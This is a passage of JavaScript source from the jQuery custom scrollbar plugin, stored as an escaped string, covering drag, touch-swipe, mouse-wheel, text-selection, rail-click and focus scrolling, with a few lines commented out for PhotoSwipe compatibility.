.\"+classes[12]+\",#mCSB_\"+d.idx+\"_dragger_vertical,#mCSB_\"+d.idx+\"_dragger_horizontal,\"+sb+\">a\"),\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\");\n\t\t\tif(o.advanced.releaseDraggableSelectors){sel.add($(o.advanced.releaseDraggableSelectors));}\n\t\t\tif(d.bindEvents){ /* check if events are bound */\n\t\t\t\t/* unbind namespaced events from document/selectors */\n\t\t\t\t$(document).unbind(\".\"+namespace);\n\t\t\t\tsel.each(function(){\n\t\t\t\t\t$(this).unbind(\".\"+namespace);\n\t\t\t\t});\n\t\t\t\t/* clear and delete timeouts/objects */\n\t\t\t\tclearTimeout($this[0]._focusTimeout); _delete($this[0],\"_focusTimeout\");\n\t\t\t\tclearTimeout(d.sequential.step); _delete(d.sequential,\"step\");\n\t\t\t\tclearTimeout(mCSB_container[0].onCompleteTimeout); _delete(mCSB_container[0],\"onCompleteTimeout\");\n\t\t\t\td.bindEvents=false;\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* toggles scrollbar visibility */\n\t\t_scrollbarVisibility=function(disabled){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\tcontentWrapper=$(\"#mCSB_\"+d.idx+\"_container_wrapper\"),\n\t\t\t\tcontent=contentWrapper.length ? contentWrapper : $(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\tscrollbar=[$(\"#mCSB_\"+d.idx+\"_scrollbar_vertical\"),$(\"#mCSB_\"+d.idx+\"_scrollbar_horizontal\")],\n\t\t\t\tmCSB_dragger=[scrollbar[0].find(\".mCSB_dragger\"),scrollbar[1].find(\".mCSB_dragger\")];\n\t\t\tif(o.axis!==\"x\"){\n\t\t\t\tif(d.overflowed[0] && !disabled){\n\t\t\t\t\tscrollbar[0].add(mCSB_dragger[0]).add(scrollbar[0].children(\"a\")).css(\"display\",\"block\");\n\t\t\t\t\tcontent.removeClass(classes[8]+\" \"+classes[10]);\n\t\t\t\t}else{\n\t\t\t\t\tif(o.alwaysShowScrollbar){\n\t\t\t\t\t\tif(o.alwaysShowScrollbar!==2){mCSB_dragger[0].css(\"display\",\"none\");}\n\t\t\t\t\t\tcontent.removeClass(classes[10]);\n\t\t\t\t\t}else{\n\t\t\t\t\t\tscrollbar[0].css(\"display\",\"none\");\n\t\t\t\t\t\tcontent.addClass(classes[10]);\n\t\t\t\t\t}\n\t\t\t\t\tcontent.addClass(classes[8]);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(o.axis!==\"y\"){\n\t\t\t\tif(d.overflowed[1] && !disabled){\n\t\t\t\t\tscrollbar[1].add(mCSB_dragger[1]).add(scrollbar[1].children(\"a\")).css(\"display\",\"block\");\n\t\t\t\t\tcontent.removeClass(classes[9]+\" \"+classes[11]);\n\t\t\t\t}else{\n\t\t\t\t\tif(o.alwaysShowScrollbar){\n\t\t\t\t\t\tif(o.alwaysShowScrollbar!==2){mCSB_dragger[1].css(\"display\",\"none\");}\n\t\t\t\t\t\tcontent.removeClass(classes[11]);\n\t\t\t\t\t}else{\n\t\t\t\t\t\tscrollbar[1].css(\"display\",\"none\");\n\t\t\t\t\t\tcontent.addClass(classes[11]);\n\t\t\t\t\t}\n\t\t\t\t\tcontent.addClass(classes[9]);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(!d.overflowed[0] && !d.overflowed[1]){\n\t\t\t\t$this.addClass(classes[5]);\n\t\t\t}else{\n\t\t\t\t$this.removeClass(classes[5]);\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* returns input coordinates of pointer, touch and mouse events (relative to document) */\n\t\t_coordinates=function(e){\n\t\t\tvar t=e.type;\n\t\t\tswitch(t){\n\t\t\t\tcase \"pointerdown\": case \"MSPointerDown\": case \"pointermove\": case \"MSPointerMove\": case \"pointerup\": case \"MSPointerUp\":\n\t\t\t\t\treturn e.target.ownerDocument!==document ? [e.originalEvent.screenY,e.originalEvent.screenX,false] : [e.originalEvent.pageY,e.originalEvent.pageX,false];\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"touchstart\": case \"touchmove\": case \"touchend\":\n\t\t\t\t\tvar touch=e.originalEvent.touches[0] || e.originalEvent.changedTouches[0],\n\t\t\t\t\t\ttouches=e.originalEvent.touches.length || e.originalEvent.changedTouches.length;\n\t\t\t\t\treturn e.target.ownerDocument!==document ? [touch.screenY,touch.screenX,touches>1] : [touch.pageY,touch.pageX,touches>1];\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\treturn [e.pageY,e.pageX,false];\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* \n\t\tSCROLLBAR DRAG EVENTS\n\t\tscrolls content via scrollbar dragging \n\t\t*/\n\t\t_draggable=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\tnamespace=pluginPfx+\"_\"+d.idx,\n\t\t\t\tdraggerId=[\"mCSB_\"+d.idx+\"_dragger_vertical\",\"mCSB_\"+d.idx+\"_dragger_horizontal\"],\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\tmCSB_dragger=$(\"#\"+draggerId[0]+\",#\"+draggerId[1]),\n\t\t\t\tdraggable,dragY,dragX,\n\t\t\t\trds=o.advanced.releaseDraggableSelectors ? mCSB_dragger.add($(o.advanced.releaseDraggableSelectors)) : mCSB_dragger;\n\t\t\tmCSB_dragger.bind(\"mousedown.\"+namespace+\" touchstart.\"+namespace+\" pointerdown.\"+namespace+\" MSPointerDown.\"+namespace,function(e){\n\t\t\t\te.stopImmediatePropagation();\n\t\t\t\te.preventDefault();\n\t\t\t\tif(!_mouseBtnLeft(e)){return;} /* left mouse button only */\n\t\t\t\ttouchActive=true;\n\t\t\t\tif(oldIE){document.onselectstart=function(){return false;}} /* disable text selection for IE < 9 */\n\t\t\t\t_iframe(false); /* enable scrollbar dragging over iframes by disabling their events */\n\t\t\t\t_stop($this);\n\t\t\t\tdraggable=$(this);\n\t\t\t\tvar offset=draggable.offset(),y=_coordinates(e)[0]-offset.top,x=_coordinates(e)[1]-offset.left,\n\t\t\t\t\th=draggable.height()+offset.top,w=draggable.width()+offset.left;\n\t\t\t\tif(y<h && y>0 && x<w && x>0){\n\t\t\t\t\tdragY=y; \n\t\t\t\t\tdragX=x;\n\t\t\t\t}\n\t\t\t\t_onDragClasses(draggable,\"active\",o.autoExpandScrollbar); \n\t\t\t}).bind(\"touchmove.\"+namespace,function(e){\n\t\t\t\te.stopImmediatePropagation();\n\t\t\t\te.preventDefault();\n\t\t\t\tvar offset=draggable.offset(),y=_coordinates(e)[0]-offset.top,x=_coordinates(e)[1]-offset.left;\n\t\t\t\t_drag(dragY,dragX,y,x);\n\t\t\t});\n\t\t\t$(document).bind(\"mousemove.\"+namespace+\" pointermove.\"+namespace+\" MSPointerMove.\"+namespace,function(e){\n\t\t\t\tif(draggable){\n\t\t\t\t\tvar offset=draggable.offset(),y=_coordinates(e)[0]-offset.top,x=_coordinates(e)[1]-offset.left;\n\t\t\t\t\tif(dragY===y){return;} /* has it really moved? */\n\t\t\t\t\t_drag(dragY,dragX,y,x);\n\t\t\t\t}\n\t\t\t}).add(rds).bind(\"mouseup.\"+namespace+\" touchend.\"+namespace+\" pointerup.\"+namespace+\" MSPointerUp.\"+namespace,function(e){\n\t\t\t\tif(draggable){\n\t\t\t\t\t_onDragClasses(draggable,\"active\",o.autoExpandScrollbar); \n\t\t\t\t\tdraggable=null;\n\t\t\t\t}\n\t\t\t\ttouchActive=false;\n\t\t\t\tif(oldIE){document.onselectstart=null;} /* enable text selection for IE < 9 */\n\t\t\t\t_iframe(true); /* enable iframes events */\n\t\t\t});\n\t\t\tfunction _iframe(evt){\n\t\t\t\tvar el=mCSB_container.find(\"iframe\");\n\t\t\t\tif(!el.length){return;} /* check if content contains iframes */\n\t\t\t\tvar val=!evt ? \"none\" : \"auto\";\n\t\t\t\tel.css(\"pointer-events\",val); /* for IE11, iframe's display property should not be \"block\" */\n\t\t\t}\n\t\t\tfunction _drag(dragY,dragX,y,x){\n\t\t\t\tmCSB_container[0].idleTimer=o.scrollInertia<233 ? 250 : 0;\n\t\t\t\tif(draggable.attr(\"id\")===draggerId[1]){\n\t\t\t\t\tvar dir=\"x\",to=((draggable[0].offsetLeft-dragX)+x)*d.scrollRatio.x;\n\t\t\t\t}else{\n\t\t\t\t\tvar dir=\"y\",to=((draggable[0].offsetTop-dragY)+y)*d.scrollRatio.y;\n\t\t\t\t}\n\t\t\t\t_scrollTo($this,to.toString(),{dir:dir,drag:true});\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* \n\t\tTOUCH SWIPE EVENTS\n\t\tscrolls content via touch swipe \n\t\tEmulates the native touch-swipe scrolling with momentum found in iOS, Android and WP devices \n\t\t*/\n\t\t_contentDraggable=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\tnamespace=pluginPfx+\"_\"+d.idx,\n\t\t\t\tmCustomScrollBox=$(\"#mCSB_\"+d.idx),\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\tmCSB_dragger=[$(\"#mCSB_\"+d.idx+\"_dragger_vertical\"),$(\"#mCSB_\"+d.idx+\"_dragger_horizontal\")],\n\t\t\t\tdragY,dragX,touchStartY,touchStartX,touchMoveY=[],touchMoveX=[],startTime,runningTime,endTime,distance,speed,amount,\n\t\t\t\tdurA=0,durB,overwrite=o.axis===\"yx\" ? \"none\" : \"all\",touchIntent=[],touchDrag,docDrag,\n\t\t\t\tiframe=mCSB_container.find(\"iframe\"),\n\t\t\t\tevents=[\n\t\t\t\t\t\"touchstart.\"+namespace+\" pointerdown.\"+namespace+\" MSPointerDown.\"+namespace, //start\n\t\t\t\t\t\"touchmove.\"+namespace+\" pointermove.\"+namespace+\" MSPointerMove.\"+namespace, //move\n\t\t\t\t\t\"touchend.\"+namespace+\" pointerup.\"+namespace+\" MSPointerUp.\"+namespace //end\n\t\t\t\t];\n\t\t\tmCSB_container.bind(events[0],function(e){\n\t\t\t\t_onTouchstart(e);\n\t\t\t}).bind(events[1],function(e){\n\t\t\t\t_onTouchmove(e);\n\t\t\t});\n\t\t\tmCustomScrollBox.bind(events[0],function(e){\n\t\t\t\t_onTouchstart2(e);\n\t\t\t}).bind(events[2],function(e){\n\t\t\t\t_onTouchend(e);\n\t\t\t});\n\t\t\tif(iframe.length){\n\t\t\t\tiframe.each(function(){\n\t\t\t\t\t$(this).load(function(){\n\t\t\t\t\t\t/* bind events on accessible iframes */\n\t\t\t\t\t\tif(_canAccessIFrame(this)){\n\t\t\t\t\t\t\t$(this.contentDocument || this.contentWindow.document).bind(events[0],function(e){\n\t\t\t\t\t\t\t\t_onTouchstart(e);\n\t\t\t\t\t\t\t\t_onTouchstart2(e);\n\t\t\t\t\t\t\t}).bind(events[1],function(e){\n\t\t\t\t\t\t\t\t_onTouchmove(e);\n\t\t\t\t\t\t\t}).bind(events[2],function(e){\n\t\t\t\t\t\t\t\t_onTouchend(e);\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t});\n\t\t\t}\n\t\t\tfunction _onTouchstart(e){\n\t\t\t\tif(!_pointerTouch(e) || touchActive || _coordinates(e)[2]){touchable=0; return;}\n\t\t\t\ttouchable=1; touchDrag=0; docDrag=0;\n\t\t\t\t$this.removeClass(\"mCS_touch_action\");\n\t\t\t\tvar offset=mCSB_container.offset();\n\t\t\t\tdragY=_coordinates(e)[0]-offset.top;\n\t\t\t\tdragX=_coordinates(e)[1]-offset.left;\n\t\t\t\ttouchIntent=[_coordinates(e)[0],_coordinates(e)[1]];\n\t\t\t}\n\t\t\tfunction _onTouchmove(e){\n\t\t\t\tif(!_pointerTouch(e) || touchActive || _coordinates(e)[2]){return;}\n\t\t\t\t// e.stopImmediatePropagation(); Commented by Madeon08 for the perfect using of PhotoSwipe on touch devices\n\t\t\t\tif(docDrag && !touchDrag){return;}\n\t\t\t\trunningTime=_getTime();\n\t\t\t\tvar offset=mCustomScrollBox.offset(),y=_coordinates(e)[0]-offset.top,x=_coordinates(e)[1]-offset.left,\n\t\t\t\t\teasing=\"mcsLinearOut\";\n\t\t\t\ttouchMoveY.push(y);\n\t\t\t\ttouchMoveX.push(x);\n\t\t\t\ttouchIntent[2]=Math.abs(_coordinates(e)[0]-touchIntent[0]); touchIntent[3]=Math.abs(_coordinates(e)[1]-touchIntent[1]);\n\t\t\t\tif(d.overflowed[0]){\n\t\t\t\t\tvar limit=mCSB_dragger[0].parent().height()-mCSB_dragger[0].height(),\n\t\t\t\t\t\tprevent=((dragY-y)>0 && (y-dragY)>-(limit*d.scrollRatio.y) && (touchIntent[3]*2<touchIntent[2] || o.axis===\"yx\"));\n\t\t\t\t}\n\t\t\t\tif(d.overflowed[1]){\n\t\t\t\t\tvar limitX=mCSB_dragger[1].parent().width()-mCSB_dragger[1].width(),\n\t\t\t\t\t\tpreventX=((dragX-x)>0 && (x-dragX)>-(limitX*d.scrollRatio.x) && (touchIntent[2]*2<touchIntent[3] || o.axis===\"yx\"));\n\t\t\t\t}\n\t\t\t\tif(prevent || preventX){ /* prevent native document scrolling */\n\t\t\t\t\te.preventDefault(); \n\t\t\t\t\ttouchDrag=1;\n\t\t\t\t}else{\n\t\t\t\t\tdocDrag=1;\n\t\t\t\t\t$this.addClass(\"mCS_touch_action\");\n\t\t\t\t}\n\t\t\t\tamount=o.axis===\"yx\" ? [(dragY-y),(dragX-x)] : o.axis===\"x\" ? [null,(dragX-x)] : [(dragY-y),null];\n\t\t\t\tmCSB_container[0].idleTimer=250;\n\t\t\t\tif(d.overflowed[0]){_drag(amount[0],durA,easing,\"y\",\"all\",true);}\n\t\t\t\tif(d.overflowed[1]){_drag(amount[1],durA,easing,\"x\",overwrite,true);}\n\t\t\t}\n\t\t\tfunction _onTouchstart2(e){\n\t\t\t\tif(!_pointerTouch(e) || touchActive || _coordinates(e)[2]){touchable=0; return;}\n\t\t\t\ttouchable=1;\n\t\t\t\t// e.stopImmediatePropagation(); Commented by Madeon08 for the perfect using of PhotoSwipe on touch devices\n\t\t\t\t_stop($this);\n\t\t\t\tstartTime=_getTime();\n\t\t\t\tvar offset=mCustomScrollBox.offset();\n\t\t\t\ttouchStartY=_coordinates(e)[0]-offset.top;\n\t\t\t\ttouchStartX=_coordinates(e)[1]-offset.left;\n\t\t\t\ttouchMoveY=[]; touchMoveX=[];\n\t\t\t}\n\t\t\tfunction _onTouchend(e){\n\t\t\t\tif(!_pointerTouch(e) || touchActive || _coordinates(e)[2]){return;}\n\t\t\t\t// e.stopImmediatePropagation(); Commented by Madeon08 for the perfect using of PhotoSwipe on touch devices\n\t\t\t\ttouchDrag=0; docDrag=0;\n\t\t\t\tendTime=_getTime();\n\t\t\t\tvar offset=mCustomScrollBox.offset(),y=_coordinates(e)[0]-offset.top,x=_coordinates(e)[1]-offset.left;\n\t\t\t\tif((endTime-runningTime)>30){return;}\n\t\t\t\tspeed=1000/(endTime-startTime);\n\t\t\t\tvar easing=\"mcsEaseOut\",slow=speed<2.5,\n\t\t\t\t\tdiff=slow ? [touchMoveY[touchMoveY.length-2],touchMoveX[touchMoveX.length-2]] : [0,0];\n\t\t\t\tdistance=slow ? [(y-diff[0]),(x-diff[1])] : [y-touchStartY,x-touchStartX];\n\t\t\t\tvar absDistance=[Math.abs(distance[0]),Math.abs(distance[1])];\n\t\t\t\tspeed=slow ? [Math.abs(distance[0]/4),Math.abs(distance[1]/4)] : [speed,speed];\n\t\t\t\tvar a=[\n\t\t\t\t\tMath.abs(mCSB_container[0].offsetTop)-(distance[0]*_m((absDistance[0]/speed[0]),speed[0])),\n\t\t\t\t\tMath.abs(mCSB_container[0].offsetLeft)-(distance[1]*_m((absDistance[1]/speed[1]),speed[1]))\n\t\t\t\t];\n\t\t\t\tamount=o.axis===\"yx\" ? [a[0],a[1]] : o.axis===\"x\" ? [null,a[1]] : [a[0],null];\n\t\t\t\tdurB=[(absDistance[0]*4)+o.scrollInertia,(absDistance[1]*4)+o.scrollInertia];\n\t\t\t\tvar md=parseInt(o.contentTouchScroll) || 0; /* absolute minimum distance required */\n\t\t\t\tamount[0]=absDistance[0]>md ? amount[0] : 0;\n\t\t\t\tamount[1]=absDistance[1]>md ? amount[1] : 0;\n\t\t\t\tif(d.overflowed[0]){_drag(amount[0],durB[0],easing,\"y\",overwrite,false);}\n\t\t\t\tif(d.overflowed[1]){_drag(amount[1],durB[1],easing,\"x\",overwrite,false);}\n\t\t\t}\n\t\t\tfunction _m(ds,s){\n\t\t\t\tvar r=[s*1.5,s*2,s/1.5,s/2];\n\t\t\t\tif(ds>90){\n\t\t\t\t\treturn s>4 ? r[0] : r[3];\n\t\t\t\t}else if(ds>60){\n\t\t\t\t\treturn s>3 ? r[3] : r[2];\n\t\t\t\t}else if(ds>30){\n\t\t\t\t\treturn s>8 ? r[1] : s>6 ? r[0] : s>4 ? s : r[2];\n\t\t\t\t}else{\n\t\t\t\t\treturn s>8 ? s : r[3];\n\t\t\t\t}\n\t\t\t}\n\t\t\tfunction _drag(amount,dur,easing,dir,overwrite,drag){\n\t\t\t\tif(!amount){return;}\n\t\t\t\t_scrollTo($this,amount.toString(),{dur:dur,scrollEasing:easing,dir:dir,overwrite:overwrite,drag:drag});\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* \n\t\tSELECT TEXT EVENTS \n\t\tscrolls content when text is selected \n\t\t*/\n\t\t_selectable=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,seq=d.sequential,\n\t\t\t\tnamespace=pluginPfx+\"_\"+d.idx,\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\twrapper=mCSB_container.parent(),\n\t\t\t\taction;\n\t\t\tmCSB_container.bind(\"mousedown.\"+namespace,function(e){\n\t\t\t\tif(touchable){return;}\n\t\t\t\tif(!action){action=1; touchActive=true;}\n\t\t\t}).add(document).bind(\"mousemove.\"+namespace,function(e){\n\t\t\t\tif(!touchable && action && _sel()){\n\t\t\t\t\tvar offset=mCSB_container.offset(),\n\t\t\t\t\t\ty=_coordinates(e)[0]-offset.top+mCSB_container[0].offsetTop,x=_coordinates(e)[1]-offset.left+mCSB_container[0].offsetLeft;\n\t\t\t\t\tif(y>0 && y<wrapper.height() && x>0 && x<wrapper.width()){\n\t\t\t\t\t\tif(seq.step){_seq(\"off\",null,\"stepped\");}\n\t\t\t\t\t}else{\n\t\t\t\t\t\tif(o.axis!==\"x\" && d.overflowed[0]){\n\t\t\t\t\t\t\tif(y<0){\n\t\t\t\t\t\t\t\t_seq(\"on\",38);\n\t\t\t\t\t\t\t}else if(y>wrapper.height()){\n\t\t\t\t\t\t\t\t_seq(\"on\",40);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(o.axis!==\"y\" && d.overflowed[1]){\n\t\t\t\t\t\t\tif(x<0){\n\t\t\t\t\t\t\t\t_seq(\"on\",37);\n\t\t\t\t\t\t\t}else if(x>wrapper.width()){\n\t\t\t\t\t\t\t\t_seq(\"on\",39);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}).bind(\"mouseup.\"+namespace,function(e){\n\t\t\t\tif(touchable){return;}\n\t\t\t\tif(action){action=0; _seq(\"off\",null);}\n\t\t\t\ttouchActive=false;\n\t\t\t});\n\t\t\tfunction _sel(){\n\t\t\t\treturn \twindow.getSelection ? window.getSelection().toString() : \n\t\t\t\t\t\tdocument.selection && document.selection.type!=\"Control\" ? document.selection.createRange().text : 0;\n\t\t\t}\n\t\t\tfunction _seq(a,c,s){\n\t\t\t\tseq.type=s && action ? \"stepped\" : \"stepless\";\n\t\t\t\tseq.scrollAmount=10;\n\t\t\t\t_sequentialScroll($this,a,c,\"mcsLinearOut\",s ? 60 : null);\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* \n\t\tMOUSE WHEEL EVENT\n\t\tscrolls content via mouse-wheel \n\t\tvia mouse-wheel plugin (https://github.com/brandonaaron/jquery-mousewheel)\n\t\t*/\n\t\t_mousewheel=function(){\n\t\t\tif(!$(this).data(pluginPfx)){return;} /* Check if the scrollbar is ready to use mousewheel events (issue: #185) */\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\tnamespace=pluginPfx+\"_\"+d.idx,\n\t\t\t\tmCustomScrollBox=$(\"#mCSB_\"+d.idx),\n\t\t\t\tmCSB_dragger=[$(\"#mCSB_\"+d.idx+\"_dragger_vertical\"),$(\"#mCSB_\"+d.idx+\"_dragger_horizontal\")],\n\t\t\t\tiframe=$(\"#mCSB_\"+d.idx+\"_container\").find(\"iframe\");\n\t\t\tif(iframe.length){\n\t\t\t\tiframe.each(function(){\n\t\t\t\t\t$(this).load(function(){\n\t\t\t\t\t\t/* bind events on accessible iframes */\n\t\t\t\t\t\tif(_canAccessIFrame(this)){\n\t\t\t\t\t\t\t$(this.contentDocument || this.contentWindow.document).bind(\"mousewheel.\"+namespace,function(e,delta){\n\t\t\t\t\t\t\t\t_onMousewheel(e,delta);\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t});\n\t\t\t}\n\t\t\tmCustomScrollBox.bind(\"mousewheel.\"+namespace,function(e,delta){\n\t\t\t\t_onMousewheel(e,delta);\n\t\t\t});\n\t\t\tfunction _onMousewheel(e,delta){\n\t\t\t\t_stop($this);\n\t\t\t\tif(_disableMousewheel($this,e.target)){return;} /* disables mouse-wheel when hovering specific elements */\n\t\t\t\tvar deltaFactor=o.mouseWheel.deltaFactor!==\"auto\" ? parseInt(o.mouseWheel.deltaFactor) : (oldIE && e.deltaFactor<100) ? 100 : e.deltaFactor || 100;\n\t\t\t\tif(o.axis===\"x\" || o.mouseWheel.axis===\"x\"){\n\t\t\t\t\tvar dir=\"x\",\n\t\t\t\t\t\tpx=[Math.round(deltaFactor*d.scrollRatio.x),parseInt(o.mouseWheel.scrollAmount)],\n\t\t\t\t\t\tamount=o.mouseWheel.scrollAmount!==\"auto\" ? px[1] : px[0]>=mCustomScrollBox.width() ? mCustomScrollBox.width()*0.9 : px[0],\n\t\t\t\t\t\tcontentPos=Math.abs($(\"#mCSB_\"+d.idx+\"_container\")[0].offsetLeft),\n\t\t\t\t\t\tdraggerPos=mCSB_dragger[1][0].offsetLeft,\n\t\t\t\t\t\tlimit=mCSB_dragger[1].parent().width()-mCSB_dragger[1].width(),\n\t\t\t\t\t\tdlt=e.deltaX || e.deltaY || delta;\n\t\t\t\t}else{\n\t\t\t\t\tvar dir=\"y\",\n\t\t\t\t\t\tpx=[Math.round(deltaFactor*d.scrollRatio.y),parseInt(o.mouseWheel.scrollAmount)],\n\t\t\t\t\t\tamount=o.mouseWheel.scrollAmount!==\"auto\" ? px[1] : px[0]>=mCustomScrollBox.height() ? mCustomScrollBox.height()*0.9 : px[0],\n\t\t\t\t\t\tcontentPos=Math.abs($(\"#mCSB_\"+d.idx+\"_container\")[0].offsetTop),\n\t\t\t\t\t\tdraggerPos=mCSB_dragger[0][0].offsetTop,\n\t\t\t\t\t\tlimit=mCSB_dragger[0].parent().height()-mCSB_dragger[0].height(),\n\t\t\t\t\t\tdlt=e.deltaY || delta;\n\t\t\t\t}\n\t\t\t\tif((dir===\"y\" && !d.overflowed[0]) || (dir===\"x\" && !d.overflowed[1])){return;}\n\t\t\t\tif(o.mouseWheel.invert || e.webkitDirectionInvertedFromDevice){dlt=-dlt;}\n\t\t\t\tif(o.mouseWheel.normalizeDelta){dlt=dlt<0 ? -1 : 1;}\n\t\t\t\tif((dlt>0 && draggerPos!==0) || (dlt<0 && draggerPos!==limit) || o.mouseWheel.preventDefault){\n\t\t\t\t\te.stopImmediatePropagation();\n\t\t\t\t\te.preventDefault();\n\t\t\t\t}\n\t\t\t\t_scrollTo($this,(contentPos-(dlt*amount)).toString(),{dir:dir});\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* checks if iframe can be accessed */\n\t\t_canAccessIFrame=function(iframe){\n\t\t\tvar html=null;\n\t\t\ttry{\n\t\t\t\tvar doc=iframe.contentDocument || iframe.contentWindow.document;\n\t\t\t\thtml=doc.body.innerHTML;\n\t\t\t}catch(err){/* do nothing */}\n\t\t\treturn(html!==null);\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* disables mouse-wheel when hovering specific elements like select, datalist etc. */\n\t\t_disableMousewheel=function(el,target){\n\t\t\tvar tag=target.nodeName.toLowerCase(),\n\t\t\t\ttags=el.data(pluginPfx).opt.mouseWheel.disableOver,\n\t\t\t\t/* elements that require focus */\n\t\t\t\tfocusTags=[\"select\",\"textarea\"];\n\t\t\treturn $.inArray(tag,tags) > -1 && !($.inArray(tag,focusTags) > -1 && !$(target).is(\":focus\"));\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* \n\t\tDRAGGER RAIL CLICK EVENT\n\t\tscrolls content via dragger rail \n\t\t*/\n\t\t_draggerRail=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),\n\t\t\t\tnamespace=pluginPfx+\"_\"+d.idx,\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\twrapper=mCSB_container.parent(),\n\t\t\t\tmCSB_draggerContainer=$(\".mCSB_\"+d.idx+\"_scrollbar .\"+classes[12]);\n\t\t\tmCSB_draggerContainer.bind(\"touchstart.\"+namespace+\" pointerdown.\"+namespace+\" MSPointerDown.\"+namespace,function(e){\n\t\t\t\ttouchActive=true;\n\t\t\t}).bind(\"touchend.\"+namespace+\" pointerup.\"+namespace+\" MSPointerUp.\"+namespace,function(e){\n\t\t\t\ttouchActive=false;\n\t\t\t}).bind(\"click.\"+namespace,function(e){\n\t\t\t\tif($(e.target).hasClass(classes[12]) || $(e.target).hasClass(\"mCSB_draggerRail\")){\n\t\t\t\t\t_stop($this);\n\t\t\t\t\tvar el=$(this),mCSB_dragger=el.find(\".mCSB_dragger\");\n\t\t\t\t\tif(el.parent(\".mCSB_scrollTools_horizontal\").length>0){\n\t\t\t\t\t\tif(!d.overflowed[1]){return;}\n\t\t\t\t\t\tvar dir=\"x\",\n\t\t\t\t\t\t\tclickDir=e.pageX>mCSB_dragger.offset().left ? -1 : 1,\n\t\t\t\t\t\t\tto=Math.abs(mCSB_container[0].offsetLeft)-(clickDir*(wrapper.width()*0.9));\n\t\t\t\t\t}else{\n\t\t\t\t\t\tif(!d.overflowed[0]){return;}\n\t\t\t\t\t\tvar dir=\"y\",\n\t\t\t\t\t\t\tclickDir=e.pageY>mCSB_dragger.offset().top ? -1 : 1,\n\t\t\t\t\t\t\tto=Math.abs(mCSB_container[0].offsetTop)-(clickDir*(wrapper.height()*0.9));\n\t\t\t\t\t}\n\t\t\t\t\t_scrollTo($this,to.toString(),{dir:dir,scrollEasing:\"mcsEaseInOut\"});\n\t\t\t\t}\n\t\t\t});\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* \n\t\tFOCUS EVENT\n\t\tscrolls content via element focus (e.g. clicking an input, pressing TAB key etc.)\n\t\t*/\n\t\t_focus=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\tnamespace=pluginPfx+\"_\"+d.idx,\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\twrapper=mCSB_container.parent();\n\t\t\tmCSB_container.bind(\"focusin.\"+namespace,function(e){\n\t\t\t\tvar el=$(document.activeElement),\n\t\t\t\t\tnested=mCSB_container.find(\".mCustomScrollBox\").length,\n\t\t\t\t\tdur=0;\n\t\t\t\tif(!el.is(o.advanced.autoScrollOnFocus)){return;}\n\t\t\t\t_stop($this);\n\t\t\t\tclearTimeout($this[0]._focusTimeout);\n\t\t\t\t$this[0]._focusTimer=nested ? (dur+17)*nested : 0;\n\t\t\t\t$this[0]._focusTimeout=setTimeout(function(){\n\t\t\t\t\tvar\tto=[_childPos(el)[0],_childPos(el)[1]],\n\t\t\t\t\t\tcontentPos=[mCSB_container[0].offsetTop,mCSB_container[0].offsetLeft],\n\t\t\t\t\t\tisVisible=[\n\t\t\t\t\t\t\t(contentPos[0]+to[0]>=0 && contentPos[0]+to[0]<wrapper.height()-el.outerHeight(false)),\n\t\t\t\t\t\t\t(contentPos[1]+to[1]>=0 && contentPos[0]+to[1]<wrapper.width()-el.outerWidth(false))\n\t\t\t\t\t\t],\n\t\t\t\t\t\toverwrite=(o.axis===\"yx\" && !isVisible[0] && !isVisible[1]) ? \"none\" : \"all\";\n\t\t\t\t\tif(o.axis!==\"x\" && !isVisible[0]){\n\t\t\t\t\t\t_scrollTo($this,to[0].toString(),{dir:\"y\",scrollEasing:\"mcsEaseInOut\",overwrite:overwrite,dur:dur});\n\t\t\t\t\t}\n\t\t\t\t\tif(o.axis!==\"y\" && !isVisible[1]){\n\t\t\t\t\t\t_scrollTo($this,to[1].toString(),{dir:\"x\",scrollEasing:\"mcsEaseInOut\",overwrite:overwrite,dur:dur});\n\t\t\t\t\t}\n\t\t\t\t},$this[0]._focusTimer);\n\t\t\t});\n\t\t},\n\t\t/* -------------------- 